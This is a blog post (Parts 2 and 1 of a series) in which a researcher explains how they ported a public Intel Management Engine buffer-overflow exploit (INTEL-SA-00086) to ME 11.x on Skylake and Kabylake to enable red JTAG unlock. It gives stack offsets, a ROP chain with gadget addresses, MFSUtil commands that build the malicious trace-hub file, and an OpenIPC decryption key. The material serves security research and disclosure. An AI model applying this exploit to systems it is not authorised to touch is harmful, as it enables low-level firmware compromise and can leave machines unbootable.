Exploiting Intel’s Management Engine – Part 2: Enabling Red JTAG Unlock on Intel ME 11.x (INTEL-SA-00086)

Hey there, friend! Long time no see! Actually.. not really, I’m starting this article right after I posted Part 1: Understanding PT’s TXE PoC.

If you haven’t read part 1, then you should do that now, because this is just a continuation of my previous post, but because of its length, I decided to split it into multiple parts.

Now that we know how the existing TXE exploit works, we need to port it to ME 11.x. Unfortunately, the systracer method is very difficult to reproduce because you only control a few bits in the return address and being able to change the return address into one that is valid, doesn’t cause a crash, and returns properly into our ROP is very difficult. In my case, I had actually started porting it to ME 11.0.0.1180 which didn’t even set the systracer values, so I had no choice but to look at the exploit explained in the BlackHat Europe 2017 presentation : Using the memcpy method.

Gathering the necessary information

I will spare you the details of showing you any reversed code or assembly and just get to the point.

  • The MFS partition uses chunks of 64 bytes each
  • The MFS read function reads to a temporary buffer of 1024 bytes and if chunks are sequential in the file system, it can read multiple chunks (up to 16) at once
  • The "/home/mca/eom" file in the MFS’s fitc.cfg file needs to contain one byte with value 0x00
  • DCI needs to be activated using the CPU straps in the IFD (Intel Flash Descriptor)
  • There’s an alternate execution route that could happen if there is a home partition in the MFS (file index 8), it could cause the exploit not to work, so make sure the MFS partition does not have a file in index 8 (more on that later).
  • Because of the above, you need to enable the HAP bit. If the ME boots completely (i.e: not disabled via HAP), then the home partition gets created in MFS and the exploit stops working. the ME crashes instead and the machine becomes unbootable.
  • The shared memory context structure is at offset 0x68 of the syslib context, and within it, at offset 0x28 is the pointer to the shared memory descriptors and at offset 0x2C is the number of valid shared memory descriptors.
  • Note that the shared memory context is within the syslib context, not merely a pointer to it, so the pointer to the shared memory descriptors is at offset 0x90 (0x68 + 0x28) of the syslib context
  • The shared memory block descriptors are of size 0x14 and of the format <flags, address, size, mmio, thread_id> where the flags being set to 0x11 works fine (I believe bit 0 is ‘in use’, not sure about bit 4, but it was set in the shmem of init_trace_hub) and the thread_id is set to zero in our case.

To help with the last points about the shared memory descriptors, here’s a slightly modified graphic from one of the slides of the BlackHat Europe 2017 presentation :

Slide 43 of “How to Hack a Turned-Off Computer, or Running Unsigned Code in Intel Management Engine”

My old Librem 13 is a skylake machine and I’ve used it for all my tests as it is very easy to flash and test on. It has ME version 11.0.18.1002 (if anyone wants to follow along).

Now, the first thing we need to do is figure out where our stack is. To do that, we open the BUP module in IDA, and check the very first function that gets called from the entrypoint (before the main).

That function will initialize the syslib context, the TLS structure and the stack, therefore, we’ll find in it the hardcoded values of all those things. Here’s what it looks like :

Now I know that my stack address for ME 11.0.18.1002 is 0x60000 and the syslib context is at 0x82CAC with a size of 0x218 (not useful information for now).

What I will do is to go to the entry point and follow along the push/pop/call/ret calls in order to get the full picture of the stack all the way to the memcpy that interests me, like I did in my previous article. Here’s the result :

ME 11.0.18.1002 STACK - bup_entry :
0x60000: STACK TOP
0x5FFEC: TLS

0x5FFE8: ecx - arg to bup_main
0x5FFE4: edx - arg
0x5FFE0: eax - arg
0x5FFDC: retaddr - call bup_main
  0x5FFD8: saved ebp of bup_entry

  0x5FFD4: 0 - arg to bup_run_init_scripts
  0x5FFD0: retaddr - call bup_run_init_scripts
    0x5FFCC: saved ebp of bup_main
    0x5FFC8: saved edi
    0x5FFC4: saved esi
    0x5FFC0: saved ebx
    0x5FFBC: var_10

    0x5FFB8: retaddr - call bup_init_trace_hub
      0x5FFB4: saved ebp of bup_run_init_scripts
      0x5FFB0: saved esi
      0x5FFAC: saved ebx
      0x5FC64: STACK esp-0x348
        0x5FFA8: security cookie
        0x5FC80: ct_data
        0x5FC6C: si_features
        0x5FC68: file_size
        0x5FC64: bytes_read

        0x5FC60: edx - arg to bup_dfs_read_file
        0x5FC5C: eax - arg
        0x5FC58: esi - arg
        0x5FC54: 0 - arg
        0x5FC50: "/home/bup/ct" - arg
        0x5FC4C: retaddr - call bup_dfs_read_file
          0x5FC48: saved ebp of bup_init_trace_hub
          0x5FC44: saved edi
          0x5FC40: saved esi
          0x5FC3C: saved ebx
          0x5FB9C: STACK esp-0xA0

          0x5FB98: 0 - arg to bup_read_mfs_file
          0x5FB94: edi - arg
          0x5FB90: esi - arg
          0x5FB8C: eax - arg
          0x5FB88: 7 - arg
          0x5FB84: retaddr - call bup_read_mfs_file
            0x5FB80: saved ebp of bup_dfs_reads_file

            0x5FB7C: eax - arg to bup_read_mfs_file_ext
            0x5FB78: sm_block_id - arg
            0x5FB74: size - arg
            0x5FB70: offset - arg
            0x5FB6C: file_number - arg
            0x5FB68: msf_desc - arg
            0x5FB64: retaddr - call bup_read_mfs_file_ext
              0x5FB60: saved ebp of bup_read_mfs_file
              0x5FB5C: saved edi
              0x5FB58: saved esi
              0x5FB54: saved ebx
              0x5F6E8: STACK esp-0x46C

              0x5F6E4: ebx - arg to sys_write_shared_mem
              0x5F6E0: ebx - arg
              0x5F6DC: eax - arg
              0x5F6D8: cur_offset - arg
              0x5F6D4: sm_block_id - arg
              0x5F6D0: var_478 - arg
              0x5F6CC: retaddr - call sys_write_shared_mem
                0x5F6C8: saved ebp of bup_read_mfs_file_ext
                0x5F6C4: saved edi
                0x5F6C0: saved esi
                0x5F6BC: saved ebx
                0x5F6AC: STACK esp-0x10

                0x5F6A8: ebx - arg to memcpy_s
                0x5F6A4: edi - arg
                0x5F6A0: edx - arg
                0x5F69C: esi - arg
                0x5F698: retaddr - call memcpy_s
                  0x5F694: saved ebp of sys_write_shared_mem
                  0x5F690: saved edi
                  0x5F68C: saved esi
                  0x5F688: saved ebx

                  0x5F684: copysize - arg to memcpy
                  0x5F680: edi - arg
                  0x5F67C: ebx - arg
                  0x5F678: retaddr - call memcpy  <-------------- TARGET ADDRESS 0x5F678
                    0x5FB60: saved ebp of memcpy_s
                    0x5FB5C: saved edi
                    0x5FB58: saved esi
                    0x5FB54: saved ebx

The ct_data buffer is at address 0x5FC80, which means it still is at offset 0x380 from the top of the stack. We can also see that the return address to the memcpy call is at 0x5F678 which means it's at an offset of 0x988 from the top of the stack. This is the address/value that we want to overwrite with our exploit. If we can replace that return address by one that points to our ROP, then we have succeeded.

What else do we need? It looks like that's it, right ? We set our ROPs to do whatever we want (more on that later), fill the rest of the file up to 0x380 with our syslib context such that we have a valid number of shared memory descriptor (on Apollolake, our shared memory block id was '2', but we won't take any chances, we'll use 20!), and have all our shared memory descriptors point to the same target address, then we set our TLS structure at the end of those 0x380 bytes which itself points the syslib context within our file.

Once the last chunk in the file is read, the TLS is replaced and the syslib context also is. This means that the next chunk that gets read and copied is the one that will overwrite our return address, this means that we'll add an additional chunk to the file (64 bytes) with the value that we want to write to the return address. Considering that the value we write will be returned to, it means that we can put our ROPs directly there, but we'll just do the pop esp; ret ROP not the full ones.

The MFS filesystem

Yes, that is technically all that we need, but there are a couple of problems here. The first is that we don't control the MFS file. If we use Intel's tool to add the TraceHub Configuration file, the file will be contiguous in the MFS partition which means it will be read in one shot since we've already established that the ME optimizes its MFS reads and can read up to 16 chunks in one operation. The solution to that would be to make sure that the chunks are not in sequential order and it means we need to manipulate the MFS file on our own.

For that, we need to understand how the MFS filesystem works. Thankfully, Dmitry Sklyarov (also from Positive Technologies) had his own presentation during the the same BlackHat Europe 2017 conference that explains how the ME File System works internally. You can read all about it in his slides. Moreover, he has released a small tool called parseMFS which can be used to extract files from an MFS partition.

Unfortunately, parseMFS does not let you add or manipulate the MFS partition in any way, so I wrote my own tool, MFSUtil which uses the knowledge shared by Dmitry in his presentation and lets us manipulate the MFS partition any way we want. More specifically, it lets us :

  • Replace the "/home/bup/ct" file directly with our exploit.
  • Replace the "/home/mca/eom" so its content is 0 if needed.
  • 'De-optimize' the file so the chunks are never in sequence, forcing the ME to read each chunk separately.
  • Align the file on start/end chunk boundaries

That last one is because, while we're lucky and 0x380 ends on a chunk boundary, it will not always be the case (for example, ME 11.0.0.1180 has the ct_data at offset 0x384), so you would need the ct file to be aligned in such a way that the last byte ends on the last byte of a chunk, so when that chunk is read, the entire TLS structure is replaced, not just part of it, and the small ROP we write to replace the memcpy's return address is indeed the one that gets written, rather than the last bytes of the TLS structure.

I have now released the MFSUtil tool on github (and wow, my initial commit of it was in April 2018, I hadn't realized that it's actually been more than a year that I've started working on this), and if you look at the examples directory, you'll find the script that I use to generate a new coreboot image with an exploited ct file, but it basically does this :

# Extract file number 7 (fitc.cfg)
../MFSUtil.py -m MFS.part -x -i 7 -o 7.cfg

# Remove the /home/bup/ct file from it
../MFSUtil.py -c 7.cfg -r -f /home/bup/ct -o 7.cfg.noct

# Add the new ct file as /home/bup/ct
../MFSUtil.py -c 7.cfg.noct --add ct --alignment 2 --mode ' ---rwxr-----' --opt '?--F' --uid 3 --gid 351 -f /home/bup/ct -o fitc.cfg

# Delete file id 8 (home) from the MFS partition
../MFSUtil.py -m MFS.part -r -i 8 -o MFS.no8

# Delete file id 7 (fitc.cfg) from the MFS partition
../MFSUtil.py -m MFS.no8 -r -i 7 -o MFS.no7

# Add the modified fitc.cfg into the MFS partition
../MFSUtil.py -m MFS.no7 -a fitc.cfg --deoptimize -i 7 -o MFS.new

I'm not going to waste my time here explaining how the file system works or how the tool works. Dmitry explained the inner workings of the MFS partition very well in his presentation at BlackHat Europe 2017, and you can use the --help option of the tool (or read its README file) to figure out how to use it. The important part is that this does everything you need to make sure the ct file is in the MFS partition in the proper way so that the exploit would work.

ROPs: Return Oriented Programming

This is where it gets a little bit more interesting. The ROPs used are going to be very simple, we need to enable red unlock and do an infinite loop, oh and find pop esp; ret.

If you're not familiar with Return Oriented Programming, well.. this post is probably too in-depth for you already and I'm not going to do a tutorial on ROP (maybe some other time), but the basic premise is that if you can't write your own code to be executed, then you can use the existing code and create a fake stack where a few instructions at the end of an existing/legitimate function are executed then the function returns to the next instructions you want to execute. By chaining all these "ROP Gadgets" you can make it do whatever you want.

If you've seen my analysis of the ROPs from the previous article, then you've seen that for TXE, they do this :

// Enable DCI
side_band_mapping(0x706a8, 0x100); 
put_sel_word(0x19F, 0, 0x1010); // Sets 0x19F:0 to 0x1010

// Set DfX-agg personality
side_band_mapping(0x70684, 0x100);
put_sel_word(0x19F, 0x8400, 3); // Sets 0x19F:8400 to 3

loop();

But there are two things of interests here, first, we don't need to enable DCI because if you've read the BlackHat Europe 2017 presentation from Maxim Goryachi and Mark Ermolov, you know that you need to have DCI enabled before you execute the exploit, otherwise, the DfX Aggregator consent register will be locked, so we enable DCI using the CPU strap in the Intel Flash Descriptor. So there is only one thing we need to do : set the DfX-Agg personality value to 3. Now as you've seen above, there are a few magic numbers here, what's 0x70684 and why segment 0x19F and offset 0x8400. To explain that, let's talk a bit about the Sideband interface

IOSF Sideband

The good kind of IOSF

I won't go too in depth in explanation about the IOSF Sideband as I will explore it much more in depth in part 3 of this series of articles. No, the IOSF is not the International Otter Survival Fund, though that's the first result Google gives me and it's a lot cuter than Intel's version of that acronym. IOSF stands for Intel On-Chip System Fabric, and I think it's just a fancy word for saying "a hub that everything connects to".

The way I understand it (and maybe I'm wrong on some level, if that's the case, I'm blaming it on my attempts to simplify the explanation, but clearly I knew what I was talking about... ahumm.. ), is that Intel's optimizations of their chips has led them to use an architecture where you have every IP core connected to the IOSF (remember my tutorial on how computers work from last month? think of the full adder as an IP core, and the ALU as connecting multiple IP cores together, only in this case, we're talking about the PCH chipset and each IP core is going to be a device, such as USB controller, SATA controller, Graphics card, Ethernet controller, PCIe controller, GPIO controllers, DCI controller, DfX Aggregator, SPI, Audio, etc..). So yeah, every IP core is connected to the IOSF and from there, everything can communicate with everything, as long as they are authorized to do so.

So when the CPU wants to talk to the USB controller, it will talk to the PCH via the PCI controller and the PCI bridge will talk to the USB controller via the IOSF and forward the commands over. The sideband is a way to communicate with a device directly by passing through the IOSF and telling it which device we want to talk to and how, rather than using whatever bus was designed to communicate with the device.

The magic value 0x70684 you saw before can actually be divided into these attributes :

  • bit 29: 0 - not sure...
  • bit 28: 0 - posted
  • bits 27-24: 0 - BAR
  • bits 23-16: 0x07 - Write opcode
  • bits 15-8: 0x06 - Read opcode
  • bits 7-0: 0x84 - Sideband Port ID

Things I've learned about it : The read opcode is always an even number, the write opcode is the same +1 (read 0, write 1, read 2, write 3, etc.. ), also these are the read/write opcodes that I know :

  • Opcode 0 : Read/Write BAR
  • Opcode 2 : Unused?
  • Opcode 4 : Read/Write PCI Configuration Space
  • Opcode 6 : Read/Write Private Configuration Space

Now finding the Sideband Port ID, that's the interesting bit. It's easy to find some for skylake, just grab the 100-series PCH datasheet volume 1 from Intel, and look at the last two pages on the Primary to Sideband Bridge chapter, you'll find them listed :

Some Sideband Port IDs

There are more, and you can see 0xB8 is the port ID for DCI though we don't need it. The problem is that the DfX-Agg device is not listed in the datasheet because it's not a 'publicly available device' (it's only meant for the ME to poke at) and we need to find it on our own by looking at the BUP assembly. I won't bore you with the details (mostly because quite honestly, I don't remember how I found it) but the Port ID is 0xB7.

Actually, the BUP module has the DfX-Agg device already mapped to MMIO so it can use it, so by looking at the init scripts that get executed before bup_init_trace_hub, I can find the function bup_init_dci which is really easy to find (and thankfully, I've seen what it looks like already in slide 27 of the 34th CCC presentation). The function looks pretty much like this :

void bup_init_dci() {
  int pch_strap0;
  bup_get_pch_straps(0, &pch_strap0);

  if (!(pch_strap0 & 2))
    bup_disable_dci();
  else
    bup_enable_dci();
  if (bup_is_dci_enabled())
    bup_set_dfx_agg_consent();
  else
    bup_lock_dfx_agg();
  // Stack Guard
}

And then, looking at the bup_set_dfx_agg_consent function, it looks like this :

void bup_set_dfx_agg_consent() {
  int consent = get_segment_dword(0x10F, 4); // Read 32 bits from 0x10F:4
  set_segment_dword(0x10f, 4, consent | 1); // Write to 0x10F:4
}

Well, that's easy, if we want to write to the DfX aggregator, we don't necessarily need to write to the sideband port directly, we can just write to the MMIO in segment 0x10F and it should do the work for us. Note that MMIO is simply mapped to the DfX-Agg device via the sideband, and I think that I had found the Sideband Port ID by looking at how the sideband mappings for the MMIO ranges get setup.

Back to ROP

So, now back to our ROP, all we would need to do, is to call this function using a ROP set_segment_dword(0x10F, 0, 3) that should be easy!

To find which ROPs we can use, and find the gadgets we want, we can use this very useful tool called Ropper. Using Ropper, I was able to search for the address of the pop esp; ret and the jmp $ instruction for the infinite loop as well as anything else I might need. I end up with this little ROP :


    # Write dfx personality = 0x3
    rops += rop(0x11B9)			# set_selector_dword
    rops += rop(0x44EA3) 		# infinite_loop
    rops += rop(0x10F)	 		# param 1 - selector
    rops += rop(0)			# param 2 - offset
    rops += rop(0x3)			# param 3 - value
    

Once that's done, I can give it a try, and... yes, yes, that's it, it worked, even though you can't really know it yet because I have no way of actually debugging the ME because the Intel IPC framework that Intel System Studio provides, does not (obviously) support the ME core in its JTAG configuration. I'll get to that in a minute, but yes, that is enough to get it working.

I have later improved the ROPs to actually write the original syslib context to the TLS structure, then reset the stack to what it should be so the init scripts can continue executing and the main finish its thing, so that after the exploit runs, I can still turn on the computer (the same as PT did with the CPU Bringup changes for TXE).

In summary :

  • Find the Stack address and Syslib context address from the first call in the BUP entry function.
  • Follow all the push/pop/call/ret to build a map of what the stack should look like
  • Find the offset of the CT data in the stack
  • Find the address of the return address of the memcpy call
  • Build your CT file so you have :
    • ROPs to set RED level to the DfX-Aggregator and restore the stack
    • Syslib context pointing to shared memory descriptors
    • Shared memory descriptors (Don't forget, your buffer size needs to be your file size + 0x40 since you have one extra chunk at the end, and your address needs to be the target_address - offset)
    • TLS data pointing to the custom syslib context
    • Extra chunk at the end of the file that has the ROP with pop esp; ret and the pointer to your actual ROP data at the start of the file.
  • Add your custom CT file to the MFS partition using MFSUtil, making sure it aligns with end of chunks and does not use sequential chunks in the chain

I've uploaded my script to generate the CT file for ME 11 in a fork of PT's TXE POC repository. It has the offsets and ROPs for both Skylake (ME 11.0.18.1002) and Kabylake (ME 11.6.0.1126). It is currently in the me11 branch. I don't know if that branch gets deleted eventually and it goes into master, or it gets merged upstream officially (it's not TXE anymore, so maybe not?), regardless, here's the repository : https://github.com/kakaroto/IntelTXE-PoC/

OpenIPC

OpenIPC is the last step of this adventure! It's a Python library and tool and I don't know what else, but it's basically what we use to communicate with the ME on the machine. Positive Technologies repository explains well how to find the decryption key for the OpenIPC configuration files and how to decrypt them.

The second step is to apply a patch to the configuration files to add support for the ME.

The problem is that on Apollolake, the configuration file has every JTAG TAP (Test-Access Port) defined while the Skylake definition is empty (well, it only supports actual CPU cores but none of the other internal devices).

Figuring out the XML format of those files, how they are used, how JTAG itself works and everything else is a lesson for another day (probably never because I was in a daze trying to figure it out and I mostly banged on my keyboard like a monkey until something worked, then I erased all that knowledge from my brain because I was disgusted).

The way that JTAG works (more or less) is that you have a topology/hierarchy, you have a device that has children, and those children can have their own children, and if you don't know the full path to a device, you can't talk to it. If you make a mistake in the 'index' of those children in the path, then you'll be talking to something else. Thankfully, it's not very strict, so you can just say "the 3rd child of the 2nd child of the 4th child" and you don't need to specify what each of those in the link are, so if you make a mistake, or if the first device only has 1 child, then you'll just be talking to "the wrong child of the wrong child of the wrong child" rather than be unable to communicate. At least, I think that's how it works... I'm not entirely sure that's how it works and I entirely don't care, what's important though is that you don't need to say "I want to talk to device with ID x", instead you say "I want to talk to device 3->2->4" and then you ask it for its ID.

That topology is defined in an XML file, and I wrote a script that generated an XML file that basically brute forces every possibility. So for each device, I define 8 subdevices and for each of those subdevices, I define 8 other subdevices, up to a depth of 4 or I don't even remember how many. So after spending days trying to figure this out, I just wrote this script :

def genTaps(max, depth=0, max_depth=1, parent="SPT_TAP"):
    res = ""
    for i in xrange(0, max, 2):
        name = "%s_%s" % (parent, i)
        res += ('  ' * depth + '<Tap Name="%s" IrLen="8" IdcodeIr="0x0C"  VerifyProc="verify_idcode()" SerializeProc="common.tap.add_tap(0x11,%s,%s)" DeserializeProc="common.tap.remove_tap(0x11,%s,%s)" AdjustProc="common.tap.read_idcode_and_remove_if_zero()" InsertBeforeParent="false">\n' % (name, i, max, i, max))
        if depth + 1 < max_depth:
            res += genTaps(max, depth + 1, max_depth, name)
        res += ('  ' * depth + '</Tap>\n')
    return res
    # ProductInfo.xml needs this line added :
    # <TapInfo TapName="SPT_TAP.*" NodeType="Box" Stepping="$(Stepping)" AddInstanceNameSuffix="false"/>
    # Or whatever parent/prefix you use for the initial call set in TapName

Then I called it and generated a new OpenIPC/Data/Xml/SPT/TapNetworks.LP.xml file, added a line in the ProductInfo.xml file to tell it that there is a 'Box' node with all those TAP devices, then I ran OpenIPC again. Yeay, it accepts the config file (after the Nth attempt of course, let's ignore that...)!

The tap networks file is now 500KB and has this huge topology of about 3000 devices, most of which did not exist and would yield in an error when OpenIPC tries to scan their idcode, and would therefore not add them to the final device list (thinking they are just powered off), but once it's done, it should technically list every device that is actually available on the JTAG chain.

Finally, I run this little code in the IPC python console :

def displayValidIdcodes(prefix=""):
    for d in ipc.devs:
        if d.name.startswith(prefix):
            idcode = d.idcode()
            proc_id = d.irdrscan(0x2, 32)
            if proc_id != 0:
                idcode += " (" + proc_id.ToHex() + ")"
            print("%s : %s" % (d.name, idcode))

While looking at all the configuration files from various platforms and trying to understand the schema, I noticed that the core processors have two ID codes. The first one using the IR (Instruction Register I think?) scan code 0xC let every other device, which gives us the actual Idcode of the device, but using the IR scan code 0x2, it gives us the 'processor type' or something like that..

Once I run the above script, it gives me the list of all devices (just one) that have a non zero processor ID, and that reveals the CSME core! With that, I know its position in the topology, and I can clean up the xml file to leave only that device and give it a proper name and the proper configuration so I can debug into it, etc...


      <Tap Name="SPT_RGNLEFT" IrLen="8" Idcode="0x02080003" IdcodeIr="0x0C" SerializeProc="common.soc.add_tap(0x11, 2, 16)" DeserializeProc="common.soc.remove_tap(0x11, 2, 16)" AdjustProc="common.tap.read_idcode_and_remove_if_zero()" InsertBeforeParent="false">
	<Tap Name="SPT_PARCSMEA" IrLen="8" Idcode="0x2086103" IdcodeIr="0x0C" SerializeProc="common.soc.add_tap(0x11, 2, 14)" DeserializeProc="common.soc.remove_tap(0x11, 2, 14)" AdjustProc="common.tap.read_idcode_and_remove_if_zero()"  InsertBeforeParent="false">
	  <Tap Name="SPT_CSME_TAP" Idcode="0x08086101" IrLen="8" IdcodeIr="0x0C"  SerializeProc="common.soc.add_tap(0x11, 2, 14)" DeserializeProc="common.soc.remove_tap(0x11, 2, 14)" InsertBeforeParent="false"/>
          <Tap Name="SPT_PARCSMEA_RETIME" IrLen="8" Idcode="0x0008610B" IdcodeIr="0x0C" VerifyProc="verify_idcode()" SerializeProc="common.soc.add_tap(0x11, 12, 14)" DeserializeProc="common.soc.remove_tap(0x11, 12, 14)" InsertBeforeParent="false"/>
        </Tap>
      </Tap>

Oh by the way, this is on OpenIPC_1.1917.3733.100 and the decryption key is 1245caa98aefede38f3b2dcfc93dabfd so we can just decrypt the OpenIPC files with :

python config_decryptor.py -k 1245caa98aefede38f3b2dcfc93dabfd -p C:\Intel\OpenIPC_1.1917.3733.100

It would probably be a different version of OpenIPC if you use the latest version of Intel System Studio (I believe I had version 2019.4) and therefore a different decryption key. You can find your own easily using the instructions that PT have released along with their POC repository.

There is one final problem that still needs to be resolved. Whenever I open OpenIPC with the machine turned on, it will fail because of some conflict in the configuration between the ME core and main CPU, so I have to connect to the machine before I power it on, connect with OpenIPC, then turn the machine on, and it works. I'm sure that some smart people can figure out the right XML configuration that would allow me to debug both the ME and the CPU cores at the same time, but I don't really need that so I didn't waste any of my time trying to achieve that. Note that the TXE PoC for Apollolake suffers from the same problem and the patches to OpenIPC that PT released remove the CPU cores to prevent that conflict from happening.

Regardless, the diff for the config files is added to my repository IntelTXE-PoC fork, and just make sure you launch OpenIPC before powering on the main CPU and you should be fine.

And that's it! Congratulations, you can now debug the ME 11.x on a Skylake or Kabylake machine!

CSME debugged on Skylake

That's the end of the story for today. Next time, I'll tell you about how I wrote a quick USB controller for the CSE and how I made the CSME disrupt the USB and SATA controllers while the OS was booted, making all USB/SATA drives become inaccessible!

While in this post, you saw the release of the MFSUtil project and the ME 11.x port of the IntelTXE PoC, in the next one (either tomorrow or Friday), I'll release a lot of the tools and scripts I used to work with JTAG, so you can do more easily poke at the ME processor without fighting against the limitation of the OpenIPC library.

Thank you and you and you

Update: In my rush to post this yesterday (I had been writing this post for about 8 hours and it was 4AM), I forgot to add the little thank you to all those who helped me throughout this journey. Of course, Mark Ermolov and Maxim Goryachy from Positive Technologies for laying down most of the ground work and being helpful by answering all my questions, Dmitry Sklyarov for figuring out the MFS partition format and documenting it for the rest of us, as well as Peter Bosch who gave useful advice and helped me understand the sideband channel a bit better, David Barksdale who gave me the trick to finding the stack address from that first function in the bup code, as well probably some others to whom I apologize for not remembering them right now (it has been a long time...).

Again, thanks for reading! 🙂

Exploiting Intel’s Management Engine – Part 1: Understanding PT’s TXE PoC (INTEL-SA-00086)

Let me tell you a story…. (I think I’ll start all my blog posts with that considering how long they always end up being)

I’ve been working for a while now on trying to reproduce the Intel vulnerability that PT Research has disclosed at BlackHat Europe 2017 and I’ve succeeded and wanted to share my journey and experience with everyone, in the hope that it helps others take control of their machines (and not the other way around).

First, for those who are unaware, Positive Technologies (referred to here as ‘PT Research‘, ‘PT Security‘ or just ‘PT‘), have released information at BlackHat 2017 about a way to run unsigned code on the Intel Management Engine. And for those who are unaware, the Intel ME is a ‘security’ processor that runs on every Intel chip (since 2006) and that supposedly has full access to our systems. You can read more about it here and here, but the description that I’ve read and that stuck the most with me is this one from Libreboot’s FAQ (though it is a little outdated).

What’s the Intel Management Engine ?

In summary, the ME (Management Engine) is a second processor embedded in every PCH (the motherboard’s chipset) which runs with the highest privilege possible, it runs its own Intel-signed firmware, and takes care of a lot of things that you don’t know it does, the mainly known one being AMT (Intel Active Management Technologies) which allows a system administrator to remote access, control, update, reformat, KVM, etc.. a computer through the network, and that’s even if the computer is turned off. It’s called “out of bands” management, because it doesn’t work with a software running on the main CPU (like teamviewer/skype remote desktop or anything like that), but it works even if your entire OS is corrupted, or has a virus, or the machine is actually turned off.

That’s pretty scary, and if you’re wondering why Intel did this, well the rationale is that when you’re a system administrator in a company that has thousands of computers, or a university or even a small business with a dozen computers, and you want to update them all to a newer security update or whatever, then you can do it all at once from the comfort of your chair, and you don’t need to go through the entire building, and insert a USB key into each machine, and turn on those machines that were powered off, etc.. The real question however is why, for consumers, is the option to disable the ME not available ? As a regular user, I don’t need that ability to remotely control my machine, so I want to disable it, but I can’t. This has led to a lot of FUD (Fear, Uncertainty & Doubt) surrounding the ME as a way for Intel to control the world!

Image result for evil meme"
Intel CEO

I wanted to figure out what was truth and was wasn’t as I dug deep into reverse engineering and poking at the ME. The ME does have a legitimate function, but it does so much more now, as it takes care of the hardware initialization, the main CPU boot up, control of the clock registers, DRM management for Audio/Video, software based TPM and more. Those extra tasks are supposedly why it cannot be deactivated for consumer products. It unfortunately also means that you have to trust that Intel isn’t doing anything malicious (or allowing others to do something malicious by their incompetence). It’s not that I think Intel are malicious, but that doesn’t mean I trust them implicitly either. I’ve started to look into the ME, trying to get my code to execute on it, using the exploit PT had divulged and I took on the mission of getting the ME to control and spy on my USB devices. This started when I was still working with Purism, but even after I left that company, I continued working on this, on and off, for a little over a year now and I’ve finally made enough progress that I think it warrants writing something about it. Especially since I’ve ‘revived’ this blog in the last month with a couple of posts about reverse engineering too.

First things first. The Intel Management Engine (IME) or Management Engine (ME) is also called the CSME (Converged Security and Management Engine) or just CSE (Converged Security Engine) and sometimes called TXE (Trusted eXecution Engine) or SPS (Server Platform Services) and it used to be called Intel Management BIOS Extension (IMEBx).. It can get quite confusing.. especially considering that “the ME” can refer both to the Management Engine processor core itself and the Management Engine firmware which are both often indistinguishable of each other. I haven’t looked at the IMEBx (it’s old) or the SPS (don’t care about servers), but I think we can safely say that the ‘CSE’ and ‘CSME’ are the hardware cores, and the ‘TXE’ and ‘ME’ are their firmwares, respectively. I’m not sure if it’s exactly true, as I’ve heard ‘CSME’ also refer to the firmware, not just the hardware, but mostly all of these terms are interchangeable and I’ve seen Intel documents used them interchangeably as well.

I can also say with fair certainty that the CSE and CSME are both the same thing, they are the same hardware as far as I can see, and their firmware is pretty much the same. The CSE is used for ‘low power/cheap’ platforms, such as Celeron/Apollolake for example (set-top boxes, netbooks, cheap and underpowered laptops, etc..), while CSME is used for ‘desktop/laptop’ high end CPUs such as Skylake, Kabylake, CoffeLake, etc… The main difference between the two is that CSE doesn’t include the AMT (remote administration feature) while CSME does include it. The CSE runs the TXE firmware which is the exact same as the ME firmware, but again without the AMT features. I obviously can’t try to run the ME firmware on an Apollolake with the CSE because each version will only work for one platform (hardware initialization/registers being specific per platform), but looking at their code, I can say that they are pretty much identical, one does more than the other, but it’s the same code, same base architecture/functioning. TXE/CSE is probably just cheaper for Intel because there are less features for them to test/QA before release.

In this post, I will be talking about both the CSE and CSME, because PT Research has released their exploit so we can run our own code on the Apollolake platform (running TXE on CSE) and what I’ve done is both play with that and also port it to work on the Skylake platform (running ME on CSME).

Understanding the CSE exploit in order to do the CSME exploit

The first thing I want to explain is how to run your own code on the CSE (TXE v3.0). This will be pretty long, so I think I’ll divide this article into 3 posts, one that I will try to write each day. First, understanding the CSE exploit, then porting the exploit to CSME, then how to play around with the USB controller through the ME.

You can already refer to Positive Technologies’ presentation given by Mark Ermolov and Maxim Goryachy at BlackHat Eruope 2017. You can download their slides here and presentation here. It explains everything (mostly) of what you need to do. Then you can have a look at their Proof of Concept release of the exploit on github for Apollolake systems.

Before you go further, this post isn’t going to be like my previous posts that try to explain things on a very basic level (and often fail at remaining basic the further along you read). This is going to get very technical very fast, and before you continue, you need to read and understand the exploit as explained in the presentation by PT linked above. If you can’t follow it, then you’re just going to get lost, as I am assuming that you’ve read it and understood it all.

Here’s a quick summary of the exploit PT have divulged in their presentation :

  • The ME firmware consists of multiple ‘partitions’, one of them being the ‘MFS’ partition (ME File System) which contains various configuration files.
  • While most partitions are signed and cannot be modified as they contain code, the MFS partition is not and can therefore be modified by us mortals. There are additional restrictions in it that makes not all of the files user-modifiable.
  • A file in the MFS partition named "/home/bup/ct" is used to initiatize the Trace Hub Configuration of the ME and is user-modifiable.
  • The ME process BUP (Hardware Bring-UP) reads the entire "/home/bup/ct" file into a buffer of size 808 without checking that the file will fit : we have a buffer overflow exploit here.
  • There is a security-cookie/stack-guard that protects the ME against buffer overflows, making the buffer overflow exploit useless.
  • At the very bottom of the stack (the first 0x18 bytes of the stack) resides the TLS structure (Thread Local Storage) which contains a pointer to the syslib context.
  • The "/home/bup/ct" file is read in chunks of 64 bytes, and copied into a shared memory block
  • Writing to the shared memory block (with sys_write_shared_mem function) causes it to read the destination address from the shared memory block descriptor that resides in the syslib context structure
  • Overwriting the stack all the way to the bottom in order to overwrite the syslib context, pointing it to a custom-made shared memory block which has the destination address pointing to the memcpy‘s return address lets us control where we want the function to return, thus bypassing the security-cookie/stack-guard protection that is in place
  • By using both the buffer overflow exploit and the TLS/syslib-context/shared-memory exploit, we can control the code that gets executed using ROPs : running our own unsigned code.

Using another presentation from Positive Technologies, this time at the 34th Chaos Communication Congress, we can see that the Intel chipsets support JTAG which allows full debugging capabilities. In order to be able to JTAG the ME core itself, we would need to have ‘RED’ level unlock. See this little helpful table, taken from yet another Positive Technologies presentation (BlackHat Asia 2019)

All we need to enable RED unlock is to set value 3 to the DfX Aggregator register. Pretty easy to do once we have our own code running on the ME, so we can create a ROP chain that can be used to enable DCI and Red Unlock mode and allows us full ME JTAG control by another PC over USB.

